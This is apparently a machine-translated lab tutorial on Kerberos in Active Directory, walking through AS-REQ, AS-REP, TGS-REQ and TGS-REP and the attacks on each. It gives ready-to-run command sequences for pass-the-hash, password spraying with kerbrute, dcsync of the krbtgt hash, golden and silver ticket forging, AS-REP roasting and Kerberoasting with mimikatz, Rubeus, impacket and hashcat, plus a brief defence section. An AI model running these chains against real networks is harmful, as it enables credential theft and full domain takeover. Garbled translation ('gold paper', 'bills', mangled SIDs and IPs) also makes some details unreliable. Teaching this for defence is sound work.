Author: brodyproder

concept

| DC | domain controller | | KDC | key distribution center, the domain controller AS a | | | AD active directory, including a database with the user | | AS | Kerberos authentication service | | TGT | AS distribution, TGT certification authority card | | TGS | ticket granting service | | | ST ST service ticket, sent by TGS service |

The KRBTGT user is an account automatically generated when the system creates a domain. The KRBTGT user is a service account of the key distribution center. The password of the KRBTGT user is randomly generated by the system and cannot be used to log in to the host

The Windows password hash diagram is as follows

AS-REQ

As-req: When a user in the domain attempts to access a service in the domain and enters the user name and password, the Kerberos service of the local host sends an AS-REQ authentication request to the AS authentication service of the KDC. The request contains: The requested user name, client host name, encryption type and Authenticator (timestamp encrypted by user NTML Hash), and some other information

Wireshark packet capture analysis

Req-body Detailed request package

MSG -type: indicates the message type. AS_REQ corresponds to krB-as-req (10). Padata: indicates authentication information. Each authentication message has type and value PADA PA-ENC-TIMESTAMP: Pre-authentication, encrypts the TIMESTAMP with the user hash, and sends it AS value to the AS server. The AS server has the user hash, decrypts it with the user hash, and obtains the TIMESTAMP. If the timestamp is within a certain range, the authentication succeeds. Since the user password is encrypted with hash, the padata-type can be passed using hash. Krb5-padata-enc-timestamp (2) padata-value: PADATA value etype: PADATA type, Etype-aes256-cts-hmac-sha1-96 (18) cipher: key PADA PA-pac-request: indicates the extension supported by PAC. PAC is not in native Kerberos, but is an extension introduced by Microsoft. PAC is included in the corresponding package AS_REP, where the value corresponds to the value of True or False. KDC determines whether the ticket returned should carry PAC padata-type according to the value of include. Etype-aes256-cts-hmac-sha1-96 (18) padata-value: include-pac Kdc-options: specifies options with KDC. Cname: specifies the client user name. This user name exists and does not exist. Krb5-nt-principal (1) cname-string PrincipalName CNameString: the requested user name, mars2 realm: domain name, DRUNKMARS0 sname: server user name, PrincipalName type, including type and value. In as-REQ, snames are KRBTGT SNameString: indicates the user name. KRBTGT SNameString: indicates the domain name. DRUNKMARS0 till: indicates the expiration time. Rubeus and Kekeo are both 20370913024805Z, which can be used as a feature detection tool rtime: expiration time nonce: a randomly generated number, kekeo/ Mimikatz nonce is 12381973, Rubeus nonce is 1818848256, this can also be used as a feature detection tool etype: encryption type, there are 6 items address: client request address, HostAddress MESSI-PC<20> dDR-type: indicates the address type. NETBIOS Name:MESSI-PC<20> (Server service)Copy the code

Net Config workstation Checks intra-domain information

Attack mode during the AS-REQ process

Hash passed

MSF hash passes

The KB2871997 patch must be installed on the target host

Mimikatz hash passes

Here, Mimikatz cannot copy and paste the hash after obtaining it. In this case, you can export the hash to the log

mimikatz log privilege::debug sekurlsa::ekeys
Copy the code

Fetch the NTLM hash of administrator with SID 500

privilege::debug

sekurlsa::logonpasswords
Copy the code

Execute the command

Sekurlsa: : PTH/user: administrator/domain: 192.168.10.5 / NTLM: 7 c64e7ebf46b9515c56b2dd522d21c1cCopy the code

KB2871997

After installing the KB2871997 patch, you can only use the administrator account whose SID is 500 for pass hash

PTK(pass the key)

For aes – key:

privilege::debug

sekurlsa::ekeys
Copy the code

Injection of aes – key:

sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
Copy the code

Enumeration of intra-domain users

Using kerbrute:

Github.com/ropnop/kerb…

Prerequisites Kerberos port 88 needs to be enabled for the DC

Save the user name as TXT

Use the following command

Kerbrute_windows_amd64. exe userenum -- DC 192.168.10.5 -D Drunkmars.com user.txtCopy the code

The principle behind using Kerbrute for error enumeration is that Kerberos has three error codes:

KDC_ERR_PREAUTH_REQUIRED- Additional pre-authentication required (enabled)

KDC_ERR_CLIENT_REVOKED- Client credentials have been revoked (disabled)

KDC_ERR_C_PRINCIPAL_UNKNOWN- No client found in Kerberos database (not present)

In DC packet capture, you can see that there are four UNKNOWN and one REQUIRED, which indicates that the user name exists

Password spraying

When the user name, password back right and wrong bag is not the same, so know the user name will be able to use the same password to blasting users, this automatic passwords for all users of speculation is to prevent the account is locked, because for continuous password guessing could easily lead to the same user account is locked. Therefore, you need to try specific passwords for all users at the same time to increase the probability of cracking and eliminate the possibility of account locking

Use the following command

Kerbrute_windows_amd64. exe passwordspray -- DC 192.168.10.5 -D Drunkmars.com user.txt Fcb0519..Copy the code

Passwords also have three types of error codes

KDC_ERR_PREAUTH_REQUIRED- Additional pre-authentication required (enabled)

KDC_ERR_CLIENT_REVOKED- Client credentials have been revoked (disabled)

KDC_ERR_C_PRINCIPAL_UNKNOWN- No client found in Kerberos database (not present)

In DC packet capture, there are four UNKNOWN packets and one REQUIRED packet

AS-REP

As-rep: When the KDC receives the request, it queries the AD active directory to obtain the password hash and decrypts the Authenticator of the request packet with the hash. If the decryption succeeds, the password provided by the requester is proved to be correct and the timestamp is within five minutes, and it is not a replay. The domain authentication succeeds. After KAS successfully authenticates the peer, it sends the corresponding package to the client. The response package contains the TGT subscription warrant (ticket) encrypted with the KRBTGT user’s NTLM hash, the Login Session key (enc-part) encrypted with the USER’s NTLM hash, and other information. The Login Session key is used to ensure secure communication between the client and the KDC. Finally, the TGT subscribes to the warrant, and the encrypted Login Session Key, timestamp, and PAC are sent to the client. The PAC contains information about the user’s SID and the group to which the user belongs.

The most important field in the ENc-part is the Login Session key, which is used as the authentication key for the next stage

The core of as-REP is the Login session-key and the encrypted ticket. The credentials normally generated by the tool are.ccache and.kirbi, while the credentials generated by the mimikatz, Kekeo and Rebeus are.kirbi and impacket are.ccache, The two tickets mainly contain Login session-key and encrypted ticket, so they can be converted to each other

Attack mode in AS-REP

Gold paper

Using mimikatz

Get the KRBTGT hash first

DC perform

mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt"
Copy the code

Obtain the following information

sid:S-1-5-21-652679085-3170934373-4288938398-502

ntlm hash:c1833c0783cfd81d3548dd89b017c99a

aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50
Copy the code

Forged Administrator execution (AES256) generates gold. Kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
Copy the code

Forged Administrator execution (KRBTGT Hash) generates gold. Kirbi

mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
Copy the code

Import golden. Kirbi and run the command

kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi
Copy the code

View the local cache and find that the credentials have been imported successfully

kerberos::list
Copy the code

Open a new CMD and view the credentials with klist

Dir connection past, note that the host name must be used here, not IP connection

There is a pit where you must have administrator permission to open CMD, otherwise access will be denied

If you look at the permissions, it’s in the Domain Users group

Viewing All Groups

net group /do
Copy the code

Look at the Domain Controllers group. Here I can view it on the Domain user machine because I imported the golden ticket. Actually this command can only be viewed on the DC

net group "Domain Controllers" /do
Copy the code

Delete the credentials

kerberos::purge
Copy the code

Using impacket

If kali is not in a domain, you need to change the DNS to the domain controller

Mr. A bill administrator. Ccache

python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator
Copy the code

Import bills

export KRB5CCNAME=administrator.ccache
Copy the code

Then access the domain controller

python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
Copy the code

AS-REP Roasting

In the AS-REP phase, the outermost enc-part is encrypted with the user password hash. For a domain user, if Do not require Kerberos preauthentication is set, the as-rep content (ciper under ENc-part, Since this part is the Login Session Key encrypted with the user hash, it can be recombined with the user hash by offline blasting, and can be spliced into the format of “Kerberos 5 AS-REP eType 23″(18200). She can then be decrypted using hashcat to obtain a clear text password, which constitutes an as-rep Roasting attack

This feature is disabled by default. If as-rep is enabled, it will return the user hash encrypted sessionkey-as, which we can use John to crack offline

Use Powerview.ps1 under Empire to find users in the domain who have “Kerberos preauthentication not required” set

Import-Module .\powerview.ps1

Get-DomainUser -PreauthNotRequired
Copy the code

Use ASREPRoast. Ps1 to get the hash returned by the AS-rep

Import-Module .\ASREPRoast.ps1

Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt
Copy the code

Change to a format recognized by hashcat, add krb5ASrep after krb5ASrep and 23 splice after krb5ASrep

hashcat -m 18200 hash.txt pass.txt --force
Copy the code

TGS-REQ

After the above steps, the client obtains the TGT Subscription warrant and Login Session Key. Then decrypt the Login Session Key with its own password NTLM Hash to obtain the original LogonSession Key. It then caches this TGT subscription warrant and the original Login Session Key locally. If it now needs access to a Service on a server, it needs to purchase the corresponding ST Service Ticket from KDC with this TGT subscription voucher. ST Service tickets are sold through another Ticket Granting Service (TGS) of KDC. In this phase, Microsoft introduced two extensions to the protocols S4u2self and S4u2Proxy(only used when delegating).

Tgs-req: a client requests KDC to purchase ST service tickets for specified services. The request includes the following: Client information, Authenticator(encrypted timestamp of Login Session Key), TGT subscription warrant (ticket under AP-REQ under PAData), service name accessed, and some other information

TGS-REP

Tgs-rep: After receiving a request, the TGS checks whether the requested service exists. If the service exists, the TGT is decrypted using the KRBTGT user’s NTLM Hash and the Login Session Key is obtained. Then the Authenticator is decrypted using the Login Session Key. If the decryption succeeds, the real identity of the other party is verified. It also verifies that the timestamp is in range. It also checks whether the timestamp in the TGT is expired and whether the original address is the same as the one saved in the TGT.

If the authentication succeeds, the TGS authenticates the client and generates a Service Session Key (namely, the outermost ENC-part) encrypted with the Logon Session Key to ensure secure communication between the client and server. In addition, an ST service ticket is generated for the client. The ST Service ticket contains the client user information and the original Service Session Key. The entire ST Service ticket is encrypted using the NTLM Hash of the Service.

Finally, the Service Session Key and ST Service ticket are sent to the client. This function is kerberoasting. Any user with the correct hash can request an ST ticket for any service in the domain. This function is kerberoasting.

Enc-part: This part is encrypted with the Hash of the password requesting the service. So if we have the password Hash for the service, then we can make an ST service ticket ourselves, which creates a silver ticket attack. Since the ticket is encrypted with the password Hash of the requested service, when we get the ST service ticket, we can try to pop enc_part to get the password Hash of the service. This is the Kerberoast attack.

Attack mode during TGs-REP

What is the SPN

ServicePrincipal Names (SPN) are the unique identifiers of service instances, such as HTTP, SMB, and MySQL.

The Kerberos authentication process uses SPN to associate service instances with service login accounts. If you want to use the Kerberos protocol to authenticate services, you must configure SPN correctly. If multiple service instances are installed on computers throughout the forest or domain, each instance must have its own SPN. A given service instance can have more than one SPN if the client may authenticate with more than one name. The SPN always contains the name of the host on which the service instance is running, so a service instance can register an SPN for each name or alias of its host. A user account can have multiple SPNS, but an SPN can be registered with only one account. On the Intranet, SPN scan implements service discovery to the domain controller server through query. For the red team, this helps them identify hosts that are running important services, such as terminals, switches, etc. SPN recognition is the first step in the Kerberoasting attack.

Here is an example to illustrate the role of SPN:

When a user needs to access the MySQL service, the system queries the domain controller as the current user for the MySQL record with SPN. When the SPN record is found, the user communicates with the KDC again, sending the TGT issued by the KDC as identity credentials to the KDC, and the SPN that needs to be accessed to the KDC. The TGS service in the KDC decrypts the TGT. After confirmation, TGS sends an ST service ticket that allows access to the service corresponding to the SPN and the address of the service corresponding to the SPN to the user. The user can use the ticket to access the MySQL service.

SPNS fall into two types:

1. Yes SPN is registered under Computers. When a Service has the permission of Local System or Network Service, SPN is registered under Computers. Each machine in the domain registers two SPNS: HOST/ hostname and HOST/ hostname. Drunkmars.com

2. If a service has the rights of a domain user, SPN is registered under the domain user account (Users)

View all SPNS in the current domain:

setspn -Q\ \ * *Copy the code

To view the REGISTERED SPNS of Drunkmars.com for the specified domain:

setspn -T Drunkmars.com -Q \* \*
Copy the code

If the specified domain does not exist, the default is to look up the SPN of the local domain

Find duplicate SPN in local domain:

setspn -X
Copy the code

Delete the specified SPN:

setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack
Copy the code

Find SPN registered with specified user/host name:

setspn -L username/hostname
Copy the code

Kerberoast attack

Kerberoast Attack Process:

1. An attacker authenticates a domain and then obtains a TGT warrant from the domain controller for future ST service ticket requests

2. The attacker uses their TGT subscription warrant to issue a ST Service Ticket Request (TGS-REQ) to obtain a servicePrincipalName (SPN) of a specific form (name/host). For example, MSSqlSvc/SQL.domain.com. This SPN should be unique in the domain and registered in the servicePrincipalName field of the user or computer account. During the service ticket request (TGS-REQ), attackers can specify the Kerberos encryption type they support (RC4_HMAC, AES256_CTS_HMAC_SHA1_96, and so on).

3. If the attacker’s TGT is valid, DC will extract the information from the TGT warrant and populate it with the ST service ticket. The domain controller then looks up which account has registered the requested SPN in the ServicedPrincipalName field. The ST service ticket is encrypted using an NTLM hash of the account registered with the required SPN, using an encryption algorithm agreed upon by the attacker and the service account. The ST service ticket is sent back to the attacker in the form of a service Ticket Reply (TGS-REP).

4. The attacker extracts the encrypted service ticket from TGS-REP. Because the service ticket is encrypted with a hash linked to the account requesting the SPN, an attacker can crack this block offline and restore the plaintext password of the account.

The first is to request a service ticket

1. Rubeus. Exe request

The Kerberoast in Rubeus supports kerberoasting for all or specific users by querying the SPN in LDAP, sending a TGS packet, and then printing a Hash that can be used with Hashcat or John. The following command prints out the hashcat format of all SPN service tickets registered with the user

Rubeus.exe kerberoast
Copy the code

2. Powershell request

Request service ticket

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

List the service ticket

klist
Copy the code

3. Mimikatz request

Request service ticket

kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
Copy the code

List service ticket

kerberos::list
Copy the code

Clear all bills

kerberos::purge
Copy the code

4. The getUserspn.py request in Impacket

This script can request service tickets for all SPNS registered under the user. To use this script, you need to provide the domain account and password. This script directly outputs the service ticket in hashcat format, which can be popped using hashcat.

python3 GetUserSPNs.py -request -dc-ip 192.168200.143. 0day.org/jack
Copy the code

Export bill

The first is to look at klist or mimikats.exe “Kerberos ::list”

MSF inside

load kiwi

kerberos_ticket_list
Copy the code

or

load kiwi

kiwi_cmd kerberos::list
Copy the code

1. Mimikatz export

mimikatz.exe "kerberos::list /export" "exit"
Copy the code

After execution, the ticket file with the kirbi suffix is exported in the same directory as mimikatz

2. The Invoke under the Empire – Kerberoast. Ps1

Import-Module. \Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
Copy the code

Offline cracking service ticket

1. The tgsrepcrack kerberoast. Py

python2 tgsrepcrack.py password.txt xx.kirbi
Copy the code

2.hashcat

Save the exported hashcat hash as a hash. TXT file in the hashcat directory

hashcat -m 13100 hash.txt pass.txt
Copy the code

Kerberoast Attack Defense

Ensure that the password of the service account is strong (length, randomness, change periodically)

If an attacker cannot change the default AES256_HMAC encryption to RC4_HMAC_MD5, he cannot experiment with TGsrepcrack.py to crack the password.

An attacker can sniff Kerberos TGS tickets. Therefore, if the experimental AES256_HMAC mode is forced to encrypt Kerberos tickets, then even if an attacker obtains Kerberos tickets, it cannot be cracked, thus ensuring the security of the active directory.

Many service accounts are assigned too high permissions on the Intranet, and the password strength is poor. By cracking the password of the ticket, the attacker could be promoted from domain user to domain administrator. Therefore, the permissions of service accounts should be properly configured and password strength should be increased.

During log auditing, you can focus on the time ID 4679(Request Kerberos service ticket). If there are too many 4769 logs, you should further check the system for malicious behavior.

Silver paper

In the TGS-REP stage, the enc-part of ticket in TGS_REP is encrypted using the hash of the service. If we have the hash of the service, we can issue TGS ticket of any user to ourselves, which is also called silver ticket. Compared to gold tickets, silver tickets use the hash of the service to access, not the HASH of KRBTGT. Since TGS tickets are generated, there is no need to deal with the domain controller, but silver tickets can only access specific services. One thing to note, however, is that forged silver notes do not have a PAC with a valid KDC signature. If the target host is configured to validate the KDC PAC signature, the silver ticket will not work

To create a silver note, we need to know the following:

• The domain user to be forged (here we usually fill in the domain administrator account)

• The domain name

• The SID value of the domain (i.e., the SID value of the domain member minus the last one)

• The FQDN of the target service

• Available services

• The NTLM hash of the service account

Silver notes are used here to forge the CIFS service, which is typically used for file sharing between Windows hosts.

1. Mimikatz obtains the NTLM hash of the service account

privilege::Debug

sekurlsa::logonpasswords
Copy the code

Get is NTLM 7 c64e7ebf46b9515c56b2dd522d21c1c

2. Attack with silver bills

kerberos::golden /domain:Drunkmars.com /sid:S- 1- 5- 21- 652679085.- 3170934373.- 4288938398. /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
Copy the code

3. Check the ticket

4. Access the domain controller

Defense:

Forged silver notes have no PAC with a valid KDC signature. If the target host is configured to validate the KDC PAC signature, the silver ticket will not work.

The difference between a gold note and a silver note

Different access permissions:

Golden Ticket: You can obtain any Kerberos service permission by forging a TGT subscription warrant

Silver Ticket: Forged ST service Ticket, which can only access the specified service

Different encryption methods:

Golden Ticket is encrypted by the Hash of KRBTGT

Silver Ticket is encrypted with the Hash of a service account (usually a computer account)

Different certification processes:

Golden Ticket requires access to the domain controller, but Silver Ticket does not

instructions

About Hetian Net Safety Laboratory

Hetian Network security laboratory (www.hetianlab.com) – the leading domestic practical network security online education platform real environment, online practical network security; The experimental content covers: system security, software security, network security, Web security, mobile security, CTF, forensics analysis, penetration testing, network security awareness education and so on.

Related experimental exercises

Setup and analysis of Kerberos network authentication protocol

The Kerberos protocol was originally developed by the Massachusetts Institute of Technology (MIT) for its Athena project. This experiment mainly describes how to set up the domain and DNS server of The Windows Server2003 system. Through this experiment, learn the Kerberos network authentication protocol setting method.